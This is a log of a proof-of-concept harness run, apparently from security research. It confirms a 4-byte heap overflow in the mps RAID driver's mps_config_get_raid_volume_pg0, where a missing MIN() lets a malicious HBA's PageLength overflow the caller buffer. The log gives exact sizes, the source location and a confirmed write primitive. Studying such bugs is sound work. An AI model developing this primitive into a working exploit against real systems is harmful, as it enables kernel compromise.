== DF-1556 decisive run: PageLength=22 (minimal +4 byte overflow) ==
$ ./run.sh 22

== DF-1556 harness: missing-MIN() heap overflow in mps_config_get_raid_volume_pg0 ==
kernel Mpi2RaidVolPage0_t       = 44 (mpi2_cnfg.h:1362-1383)
kernel Mpi2RaidVol0PhysDisk_t   = 4  (mpi2_cnfg.h:1314-1321)
MPS_MAX_DISKS_IN_VOL            = 10 (mpsvar.h:106)
caller buffer size (kernel)     = 84 (=44+4*10, mps_config.c:378)
firmware PageLength             = 22
-> cm_length (PageLength*4)  = 88

[BUGGY] bcopy(page, caller_buf, cm_length=88) into 84-byte buffer...
overflow by 4 bytes -> write will land in guard page (PROT_NONE) -> SIGSEGV
>>> SIGSEGV/11 caught: OOB write past 84-byte caller buffer confirmed.
>>> PRIMITIVE CONFIRMED: a malicious HBA returning PageLength=22 (cm_length=88)
    overflows the mps_wd_config_pages RAID-volume buffer by 4 bytes.
>>> This is the exact code at sys/dev/raid/mps/mps_config.c:1117 (no MIN()).
RUN_EXIT=0